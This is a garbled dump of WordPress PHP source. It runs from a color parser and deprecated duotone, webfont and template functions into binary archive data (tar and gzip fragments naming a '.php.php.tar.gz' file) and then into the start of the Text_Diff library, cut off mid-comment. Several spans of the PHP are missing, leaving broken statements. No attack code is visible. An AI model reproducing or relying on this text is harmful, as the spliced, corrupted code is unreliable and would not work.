$permissive_match3 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?'; $permissive_match4 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?'; $rgb_regexp = '/^rgb' . $permissive_match3 . '$/'; if ( preg_match( $rgb_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => $match[1], 'g' => $match[2], 'b' => $match[3], ) ); $rgb['a'] = 1; return $rgb; } $rgba_regexp = '/^rgba' . $permissive_match4 . '$/'; if ( preg_match( $rgba_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => $match[1], 'g' => $match[2], 'b' => $match[3], ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] ); return $rgb; } $hsl_regexp = '/^hsl' . $permissive_match3 . '$/'; if ( preg_match( $hsl_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_hsl_to_rgb( array( 'h' => $match[1], 's' => $match[2], 'l' => $match[3], ) ); $rgb['a'] = 1; return $rgb; } $hsla_regexp = '/^hsla' . $permissive_match4 . '$/'; if ( preg_match( $hsla_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_hsl_to_rgb( array( 'h' => $match[1], 's' => $match[2], 'l' => $match[3], ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] ); return $rgb; } $hex8_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/'; if ( preg_match( $hex8_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1], 16, 10 ), 'g' => base_convert( $match[2], 16, 10 ), 'b' => base_convert( $match[3], 16, 10 ), ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( base_convert( $match[4], 16, 10 ) / 255 ); return $rgb; } $hex6_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/'; if ( preg_match( $hex6_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1], 16, 10 ), 'g' => base_convert( $match[2], 16, 10 ), 'b' => base_convert( $match[3], 16, 10 ), ) ); $rgb['a'] = 1; return $rgb; } $hex4_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/'; if ( preg_match( $hex4_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1] . $match[1], 16, 10 ), 'g' => base_convert( $match[2] . $match[2], 16, 10 ), 'b' => base_convert( $match[3] . $match[3], 16, 10 ), ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( base_convert( $match[4] . $match[4], 16, 10 ) / 255 ); return $rgb; } $hex3_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/'; if ( preg_match( $hex3_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1] . $match[1], 16, 10 ), 'g' => base_convert( $match[2] . $match[2], 16, 10 ), 'b' => base_convert( $match[3] . $match[3], 16, 10 ), ) ); $rgb['a'] = 1; return $rgb; } /* * The JS color picker considers the string "transparent" to be a hex value, * so we need to handle it here as a special case. */ if ( 'transparent' === $color_str ) { return array( 'r' => 0, 'g' => 0, 'b' => 0, 'a' => 0, ); } } /** * Returns the prefixed id for the duotone filter for use as a CSS id. * * @since 5.9.1 * @deprecated 6.3.0 * * @access private * * @param array $preset Duotone preset value as seen in theme.json. * @return string Duotone filter CSS id. */ function wp_get_duotone_filter_id( $preset ) { _deprecated_function( __FUNCTION__, '6.3.0' ); return WP_Duotone::get_filter_id_from_preset( $preset ); } /** * Returns the CSS filter property url to reference the rendered SVG. * * @since 5.9.0 * @since 6.1.0 Allow unset for preset colors. * @deprecated 6.3.0 * * @access private * * @param array $preset Duotone preset value as seen in theme.json. * @return string Duotone CSS filter property url value. */ function wp_get_duotone_filter_property( $preset ) { _deprecated_function( __FUNCTION__, '6.3.0' ); return WP_Duotone::get_filter_css_property_value_from_preset( $preset ); } /** * Returns the duotone filter SVG string for the preset. * * @since 5.9.1 * @deprecated 6.3.0 Use WP_Duotone::get_filter_svg_from_preset() instead. * * @access private * * @param array $preset Duotone preset value as seen in theme.json. * @return string Duotone SVG filter. */ function wp_get_duotone_filter_svg( $preset ) { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::get_filter_svg_from_preset()' ); return WP_Duotone::get_filter_svg_from_preset( $preset ); } /** * Registers the style and colors block attributes for block types that support it. * * @since 5.8.0 * @deprecated 6.3.0 Use WP_Duotone::register_duotone_support() instead. * * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_duotone_support( $block_type ) { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::register_duotone_support()' ); return WP_Duotone::register_duotone_support( $block_type ); } /** * Renders out the duotone stylesheet and SVG. * * @since 5.8.0 * @since 6.1.0 Allow unset for preset colors. * @deprecated 6.3.0 Use WP_Duotone::render_duotone_support() instead. * * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_duotone_support( $block_content, $block ) { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::render_duotone_support()' ); $wp_block = new WP_Block( $block ); return WP_Duotone::render_duotone_support( $block_content, $block, $wp_block ); } /** * Returns a string containing the SVGs to be referenced as filters (duotone). * * @since 5.9.1 * @deprecated 6.3.0 SVG generation is handled on a per-block basis in block supports. * * @return string */ function wp_get_global_styles_svg_filters() { _deprecated_function( __FUNCTION__, '6.3.0' ); /* * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme * developer's workflow. */ $can_use_cached = ! wp_is_development_mode( 'theme' ); $cache_group = 'theme_json'; $cache_key = 'wp_get_global_styles_svg_filters'; if ( $can_use_cached ) { $cached = wp_cache_get( $cache_key, $cache_group ); if ( $cached ) { return $cached; } } $supports_theme_json = wp_theme_has_theme_json(); $origins = array( 'default', 'theme', 'custom' ); if ( ! $supports_theme_json ) { $origins = array( 'default' ); } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $svgs = $tree->get_svg_filters( $origins ); if ( $can_use_cached ) { wp_cache_set( $cache_key, $svgs, $cache_group ); } return $svgs; } /** * Renders the SVG filters supplied by theme.json. * * Note that this doesn't render the per-block user-defined * filters which are handled by wp_render_duotone_support, * but it should be rendered before the filtered content * in the body to satisfy Safari's rendering quirks. * * @since 5.9.1 * @deprecated 6.3.0 SVG generation is handled on a per-block basis in block supports. */ function wp_global_styles_render_svg_filters() { _deprecated_function( __FUNCTION__, '6.3.0' ); /* * When calling via the in_admin_header action, we only want to render the * SVGs on block editor pages. */ if ( is_admin() && ! get_current_screen()->is_block_editor() ) { return; } $filters = wp_get_global_styles_svg_filters(); if ( ! empty( $filters ) ) { echo $filters; } } /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * @deprecated 6.3.0 This was removed from the Navigation Submenu block in favour of `wp_apply_colors_support()`. * `wp_apply_colors_support()` returns an array with similar class and style values, * but with different keys: `class` and `style`. * * @param array $context Navigation block context. * @param array $attributes Block attributes. * @param bool $is_sub_menu Whether the block is a sub-menu. * @return array Colors CSS classes and inline styles. */ function block_core_navigation_submenu_build_css_colors( $context, $attributes, $is_sub_menu = false ) { _deprecated_function( __FUNCTION__, '6.3.0' ); $colors = array( 'css_classes' => array(), 'inline_styles' => '', ); // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Runs the theme.json webfonts handler. * * Using `WP_Theme_JSON_Resolver`, it gets the fonts defined * in the `theme.json` for the current selection and style * variations, validates the font-face properties, generates * the '@font-face' style declarations, and then enqueues the * styles for both the editor and front-end. * * Design Notes: * This is not a public API, but rather an internal handler. * A future public Webfonts API will replace this stopgap code. * * This code design is intentional. * a. It hides the inner-workings. * b. It does not expose API ins or outs for consumption. * c. It only works with a theme's `theme.json`. * * Why? * a. To avoid backwards-compatibility issues when * the Webfonts API is introduced in Core. * b. To make `fontFace` declarations in `theme.json` work. * * @link https://github.com/WordPress/gutenberg/issues/40472 * * @since 6.0.0 * @deprecated 6.4.0 Use wp_print_font_faces() instead. * @access private */ function _wp_theme_json_webfonts_handler() { _deprecated_function( __FUNCTION__, '6.4.0', 'wp_print_font_faces' ); // Block themes are unavailable during installation. if ( wp_installing() ) { return; } if ( ! wp_theme_has_theme_json() ) { return; } // Webfonts to be processed. $registered_webfonts = array(); /** * Gets the webfonts from theme.json. * * @since 6.0.0 * * @return array Array of defined webfonts. */ $fn_get_webfonts_from_theme_json = static function() { // Get settings from theme.json. $settings = WP_Theme_JSON_Resolver::get_merged_data()->get_settings(); // If in the editor, add webfonts defined in variations. if ( is_admin() || wp_is_rest_endpoint() ) { $variations = WP_Theme_JSON_Resolver::get_style_variations(); foreach ( $variations as $variation ) { // Skip if fontFamilies are not defined in the variation. if ( empty( $variation['settings']['typography']['fontFamilies'] ) ) { continue; } // Initialize the array structure. if ( empty( $settings['typography'] ) ) { $settings['typography'] = array(); } if ( empty( $settings['typography']['fontFamilies'] ) ) { $settings['typography']['fontFamilies'] = array(); } if ( empty( $settings['typography']['fontFamilies']['theme'] ) ) { $settings['typography']['fontFamilies']['theme'] = array(); } // Combine variations with settings. Remove duplicates. $settings['typography']['fontFamilies']['theme'] = array_merge( $settings['typography']['fontFamilies']['theme'], $variation['settings']['typography']['fontFamilies']['theme'] ); $settings['typography']['fontFamilies'] = array_unique( $settings['typography']['fontFamilies'] ); } } // Bail out early if there are no settings for webfonts. if ( empty( $settings['typography']['fontFamilies'] ) ) { return array(); } $webfonts = array(); // Look for fontFamilies. foreach ( $settings['typography']['fontFamilies'] as $font_families ) { foreach ( $font_families as $font_family ) { // Skip if fontFace is not defined. if ( empty( $font_family['fontFace'] ) ) { continue; } // Skip if fontFace is not an array of webfonts. if ( ! is_array( $font_family['fontFace'] ) ) { continue; } $webfonts = array_merge( $webfonts, $font_family['fontFace'] ); } } return $webfonts; }; /** * Transforms each 'src' into an URI by replacing 'file:./' * placeholder from theme.json. * * The absolute path to the webfont file(s) cannot be defined in * theme.json. `file:./` is the placeholder which is replaced by * the theme's URL path to the theme's root. * * @since 6.0.0 * * @param array $src Webfont file(s) `src`. * @return array Webfont's `src` in URI. */ $fn_transform_src_into_uri = static function( array $src ) { foreach ( $src as $key => $url ) { // Tweak the URL to be relative to the theme root. if ( ! str_starts_with( $url, 'file:./' ) ) { continue; } $src[ $key ] = get_theme_file_uri( str_replace( 'file:./', '', $url ) ); } return $src; }; /** * Converts the font-face properties (i.e. keys) into kebab-case. * * @since 6.0.0 * * @param array $font_face Font face to convert. * @return array Font faces with each property in kebab-case format. */ $fn_convert_keys_to_kebab_case = static function( array $font_face ) { foreach ( $font_face as $property => $value ) { $kebab_case = _wp_to_kebab_case( $property ); $font_face[ $kebab_case ] = $value; if ( $kebab_case !== $property ) { unset( $font_face[ $property ] ); } } return $font_face; }; /** * Validates a webfont. * * @since 6.0.0 * * @param array $webfont The webfont arguments. * @return array|false The validated webfont arguments, or false if the webfont is invalid. */ $fn_validate_webfont = static function( $webfont ) { $webfont = wp_parse_args( $webfont, array( 'font-family' => '', 'font-style' => 'normal', 'font-weight' => '400', 'font-display' => 'fallback', 'src' => array(), ) ); // Check the font-family. if ( empty( $webfont['font-family'] ) || ! is_string( $webfont['font-family'] ) ) { trigger_error( __( 'Webfont font family must be a non-empty string.' ) ); return false; } // Check that the `src` property is defined and a valid type. if ( empty( $webfont['src'] ) || ( ! is_string( $webfont['src'] ) && ! is_array( $webfont['src'] ) ) ) { trigger_error( __( 'Webfont src must be a non-empty string or an array of strings.' ) ); return false; } // Validate the `src` property. foreach ( (array) $webfont['src'] as $src ) { if ( ! is_string( $src ) || '' === trim( $src ) ) { trigger_error( __( 'Each webfont src must be a non-empty string.' ) ); return false; } } // Check the font-weight. if ( ! is_string( $webfont['font-weight'] ) && ! is_int( $webfont['font-weight'] ) ) { trigger_error( __( 'Webfont font weight must be a properly formatted string or integer.' ) ); return false; } // Check the font-display. if ( ! in_array( $webfont['font-display'], array( 'auto', 'block', 'fallback', 'optional', 'swap' ), true ) ) { $webfont['font-display'] = 'fallback'; } $valid_props = array( 'ascend-override', 'descend-override', 'font-display', 'font-family', 'font-stretch', 'font-style', 'font-weight', 'font-variant', 'font-feature-settings', 'font-variation-settings', 'line-gap-override', 'size-adjust', 'src', 'unicode-range', ); foreach ( $webfont as $prop => $value ) { if ( ! in_array( $prop, $valid_props, true ) ) { unset( $webfont[ $prop ] ); } } return $webfont; }; /** * Registers webfonts declared in theme.json. * * @since 6.0.0 * * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference). * @uses $fn_get_webfonts_from_theme_json To run the function that gets the webfonts from theme.json. * @uses $fn_convert_keys_to_kebab_case To run the function that converts keys into kebab-case. * @uses $fn_validate_webfont To run the function that validates each font-face (webfont) from theme.json. */ $fn_register_webfonts = static function() use ( &$registered_webfonts, $fn_get_webfonts_from_theme_json, $fn_convert_keys_to_kebab_case, $fn_validate_webfont, $fn_transform_src_into_uri ) { $registered_webfonts = array(); foreach ( $fn_get_webfonts_from_theme_json() as $webfont ) { if ( ! is_array( $webfont ) ) { continue; } $webfont = $fn_convert_keys_to_kebab_case( $webfont ); $webfont = $fn_validate_webfont( $webfont ); $webfont['src'] = $fn_transform_src_into_uri( (array) $webfont['src'] ); // Skip if not valid. if ( empty( $webfont ) ) { continue; } $registered_webfonts[] = $webfont; } }; /** * Orders 'src' items to optimize for browser support. * * @since 6.0.0 * * @param array $webfont Webfont to process. * @return array Ordered `src` items. */ $fn_order_src = static function( array $webfont ) { $src = array(); $src_ordered = array(); foreach ( $webfont['src'] as $url ) { // Add data URIs first. if ( str_starts_with( trim( $url ), 'data:' ) ) { $src_ordered[] = array( 'url' => $url, 'format' => 'data', ); continue; } $format = pathinfo( $url, PATHINFO_EXTENSION ); $src[ $format ] = $url; } // Add woff2. if ( ! empty( $src['woff2'] ) ) { $src_ordered[] = array( 'url' => sanitize_url( $src['woff2'] ), 'format' => 'woff2', ); } // Add woff. if ( ! empty( $src['woff'] ) ) { $src_ordered[] = array( 'url' => sanitize_url( $src['woff'] ), 'format' => 'woff', ); } // Add ttf. if ( ! empty( $src['ttf'] ) ) { $src_ordered[] = array( 'url' => sanitize_url( $src['ttf'] ), 'format' => 'truetype', ); } // Add eot. if ( ! empty( $src['eot'] ) ) { $src_ordered[] = array( 'url' => sanitize_url( $src['eot'] ), 'format' => 'embedded-opentype', ); } // Add otf. if ( ! empty( $src['otf'] ) ) { $src_ordered[] = array( 'url' => sanitize_url( $src['otf'] ), 'format' => 'opentype', ); } $webfont['src'] = $src_ordered; return $webfont; }; /** * Compiles the 'src' into valid CSS. * * @since 6.0.0 * @since 6.2.0 Removed local() CSS. * * @param string $font_family Font family. * @param array $value Value to process. * @return string The CSS. */ $fn_compile_src = static function( $font_family, array $value ) { $src = ''; foreach ( $value as $item ) { $src .= ( 'data' === $item['format'] ) ? ", url({$item['url']})" : ", url('{$item['url']}') format('{$item['format']}')"; } $src = ltrim( $src, ', ' ); return $src; }; /** * Compiles the font variation settings. * * @since 6.0.0 * * @param array $font_variation_settings Array of font variation settings. * @return string The CSS. */ $fn_compile_variations = static function( array $font_variation_settings ) { $variations = ''; foreach ( $font_variation_settings as $key => $value ) { $variations .= "$key $value"; } return $variations; }; /** * Builds the font-family's CSS. * * @since 6.0.0 * * @uses $fn_compile_src To run the function that compiles the src. * @uses $fn_compile_variations To run the function that compiles the variations. * * @param array $webfont Webfont to process. * @return string This font-family's CSS. */ $fn_build_font_face_css = static function( array $webfont ) use ( $fn_compile_src, $fn_compile_variations ) { $css = ''; // Wrap font-family in quotes if it contains spaces. if ( str_contains( $webfont['font-family'], ' ' ) && ! str_contains( $webfont['font-family'], '"' ) && ! str_contains( $webfont['font-family'], "'" ) ) { $webfont['font-family'] = '"' . $webfont['font-family'] . '"'; } foreach ( $webfont as $key => $value ) { /* * Skip "provider", since it's for internal API use, * and not a valid CSS property. */ if ( 'provider' === $key ) { continue; } // Compile the "src" parameter. if ( 'src' === $key ) { $value = $fn_compile_src( $webfont['font-family'], $value ); } // If font-variation-settings is an array, convert it to a string. if ( 'font-variation-settings' === $key && is_array( $value ) ) { $value = $fn_compile_variations( $value ); } if ( ! empty( $value ) ) { $css .= "$key:$value;"; } } return $css; }; /** * Gets the '@font-face' CSS styles for locally-hosted font files. * * @since 6.0.0 * * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference). * @uses $fn_order_src To run the function that orders the src. * @uses $fn_build_font_face_css To run the function that builds the font-face CSS. * * @return string The `@font-face` CSS. */ $fn_get_css = static function() use ( &$registered_webfonts, $fn_order_src, $fn_build_font_face_css ) { $css = ''; foreach ( $registered_webfonts as $webfont ) { // Order the webfont's `src` items to optimize for browser support. $webfont = $fn_order_src( $webfont ); // Build the @font-face CSS for this webfont. $css .= '@font-face{' . $fn_build_font_face_css( $webfont ) . '}'; } return $css; }; /** * Generates and enqueues webfonts styles. * * @since 6.0.0 * * @uses $fn_get_css To run the function that gets the CSS. */ $fn_generate_and_enqueue_styles = static function() use ( $fn_get_css ) { // Generate the styles. $styles = $fn_get_css(); // Bail out if there are no styles to enqueue. if ( '' === $styles ) { return; } // Enqueue the stylesheet. wp_register_style( 'wp-webfonts', '' ); wp_enqueue_style( 'wp-webfonts' ); // Add the styles to the stylesheet. wp_add_inline_style( 'wp-webfonts', $styles ); }; /** * Generates and enqueues editor styles. * * @since 6.0.0 * * @uses $fn_get_css To run the function that gets the CSS. */ $fn_generate_and_enqueue_editor_styles = static function() use ( $fn_get_css ) { // Generate the styles. $styles = $fn_get_css(); // Bail out if there are no styles to enqueue. if ( '' === $styles ) { return; } wp_add_inline_style( 'wp-block-library', $styles ); }; add_action( 'wp_loaded', $fn_register_webfonts ); add_action( 'wp_enqueue_scripts', $fn_generate_and_enqueue_styles ); add_action( 'admin_init', $fn_generate_and_enqueue_editor_styles ); } /** * Prints the CSS in the embed iframe header. * * @since 4.4.0 * @deprecated 6.4.0 Use wp_enqueue_embed_styles() instead. */ function print_embed_styles() { _deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_embed_styles' ); $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; $suffix = SCRIPT_DEBUG ? '' : '.min'; ?> > > img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } media="print">#wpadminbar { display:none; } media="screen"> html { margin-top: 32px !important; } @media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } } errors, false ); return; } $support_errors = wp_get_https_detection_errors(); update_option( 'https_detection_errors', $support_errors ); } /** * Adds `decoding` attribute to an `img` HTML tag. * * The `decoding` attribute allows developers to indicate whether the * browser can decode the image off the main thread (`async`), on the * main thread (`sync`) or as determined by the browser (`auto`). * * By default WordPress adds `decoding="async"` to images but developers * can use the {@see 'wp_img_tag_add_decoding_attr'} filter to modify this * to remove the attribute or set it to another accepted value. * * @since 6.1.0 * @deprecated 6.4.0 Use wp_img_tag_add_loading_optimization_attrs() instead. * @see wp_img_tag_add_loading_optimization_attrs() * * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context to pass to the filters. * @return string Converted `img` tag with `decoding` attribute added. */ function wp_img_tag_add_decoding_attr( $image, $context ) { _deprecated_function( __FUNCTION__, '6.4.0', 'wp_img_tag_add_loading_optimization_attrs()' ); /* * Only apply the decoding attribute to images that have a src attribute that * starts with a double quote, ensuring escaped JSON is also excluded. */ if ( ! str_contains( $image, ' src="' ) ) { return $image; } /** This action is documented in wp-includes/media.php */ $value = apply_filters( 'wp_img_tag_add_decoding_attr', 'async', $image, $context ); if ( in_array( $value, array( 'async', 'sync', 'auto' ), true ) ) { $image = str_replace( ' $block ) { if ( 'core/template-part' === $block['blockName'] && isset( $block['attrs']['theme'] ) ) { unset( $blocks[ $key ]['attrs']['theme'] ); $has_updated_content = true; } } if ( ! $has_updated_content ) { return $template_content; } foreach ( $template_blocks as $block ) { $new_content .= serialize_block( $block ); } return $new_content; } /** * Prints the skip-link script & styles. * * @since 5.8.0 * @access private * @deprecated 6.4.0 Use wp_enqueue_block_template_skip_link() instead. * * @global string $_wp_current_template_content */ function the_block_template_skip_link() { _deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_block_template_skip_link()' ); global $_wp_current_template_content; // Early exit if not a block theme. if ( ! current_theme_supports( 'block-templates' ) ) { return; } // Early exit if not a block template. if ( ! $_wp_current_template_content ) { return; } ?> get_custom_css(); if ( $can_use_cached ) { wp_cache_set( $cache_key, $stylesheet, $cache_group ); } return $stylesheet; } /** * Enqueues the global styles custom css defined via theme.json. * * @since 6.2.0 * @deprecated 6.7.0 Use {@see 'wp_enqueue_global_styles'} instead. */ function wp_enqueue_global_styles_custom_css() { _deprecated_function( __FUNCTION__, '6.7.0', 'wp_enqueue_global_styles' ); if ( ! wp_is_block_theme() ) { return; } // Don't enqueue Customizer's custom CSS separately. remove_action( 'wp_head', 'wp_custom_css_cb', 101 ); $custom_css = wp_get_custom_css(); $custom_css .= wp_get_global_styles_custom_css(); if ( ! empty( $custom_css ) ) { wp_add_inline_style( 'global-styles', $custom_css ); } } /** * Generate block style variation instance name. * * @since 6.6.0 * @deprecated 6.7.0 Use `wp_unique_id( $variation . '--' )` instead. * * @access private * * @param array $block Block object. * @param string $variation Slug for the block style variation. * * @return string The unique variation name. */ function wp_create_block_style_variation_instance_name( $block, $variation ) { _deprecated_function( __FUNCTION__, '6.7.0', 'wp_unique_id' ); return $variation . '--' . md5( serialize( $block ) ); } /** * Returns whether the current user has the specified capability for a given site. * * @since 3.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.8.0 Wraps current_user_can() after switching to blog. * @deprecated 6.7.0 Use current_user_can_for_site() instead. * * @param int $blog_id Site ID. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function current_user_can_for_blog( $blog_id, $capability, ...$args ) { return current_user_can_for_site( $blog_id, $capability, ...$args ); } /** * Loads classic theme styles on classic themes in the editor. * * This is used for backwards compatibility for Button and File blocks specifically. * * @since 6.1.0 * @since 6.2.0 Added File block styles. * @deprecated 6.8.0 Styles are enqueued, not printed in the body element. * * @param array $editor_settings The array of editor settings. * @return array A filtered array of editor settings. */ function wp_add_editor_classic_theme_styles( $editor_settings ) { _deprecated_function( __FUNCTION__, '6.8.0', 'wp_enqueue_classic_theme_styles' ); if ( wp_theme_has_theme_json() ) { return $editor_settings; } $suffix = wp_scripts_get_suffix(); $classic_theme_styles = ABSPATH . WPINC . "/css/classic-themes$suffix.css"; /* * This follows the pattern of get_block_editor_theme_styles, * but we can't use get_block_editor_theme_styles directly as it * only handles external files or theme files. */ $classic_theme_styles_settings = array( 'css' => file_get_contents( $classic_theme_styles ), '__unstableType' => 'core', 'isGlobalStyles' => false, ); // Add these settings to the start of the array so that themes can override them. array_unshift( $editor_settings['styles'], $classic_theme_styles_settings ); return $editor_settings; }PK $[Hk+class-wp-metadata-lazyloader.php.php.tar.gznu[YmsWWSOHkN$YSDii(3;Dtw8lgýPnxH:볋]xr1Fi}3I.qqY$Y 3I2nfray-??יrY~cL1N<:?vrdzCvttțQ5X/xǟM>{ӋEvrudyɓkn=7,,? d|<{}4YeDJ3łO",m\~ {r^덆9l!onץ% wkPPeĤ)9N# #U2k*H,a2l&(s7AdR^66YeD_LՋ vZdԌCI V$B v S <#ae^ju#A)4L 925oy^oZ -aoFY,4;Y؊hA3 dYQՁp'1"Υ6089R {62tIxzxv~P!̰ .7Ug Bb%5%R|4V+٦ aLLFIdrLcMCVMA: r]JAkWbED`i@KjUu'5"up +2Mya MPL9$$3?h<0Weh$мsxyeju.x. Q 9_y^;ހ$/DIJ+3%&8ךs7@lXG״>k ŒRie5LM=R*JOY&1@]`#rai0BC`8~aH F8~a;;簎^Eej0N4MMiڸm}h%mGhLe/@ Rφr R D:fH%Ph<7r.͵L}F [(  0Ϲ*܂ugQOrFP ˾^?5,ĪmĆLΡaҹ_IŝGJ \xN.eEبgQIk.CxZikӈ3}$BDsT]`.oGw;݋$vٖ4fNOl-+o rԖ#|LJx6S+b634vo]rw#s"m"m.>ʥ.I-o~J01-rAQB6/=yvꢚ&;aڥJ銭f Rz9$WrR CRkVz]wkAZ4%6q*FOG+ӧKjPm 7C!oEO\h_1^̧Grlk*zd)kPUA"uRA+_D!4ܑg直 =iͯ 7jp0:̬ZbW46fk4[/⫗,QE: o3\7;X1cCguw{zF.;~!"1!V JOUxjICz3Y l\UDndEQv_[~OA\w&7 u)4kB"3JQj ꗴdRd^ulVSME٧iTF0"PK $[ Text.tarnu[Diff.php000064400000031107150547716100006135 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the 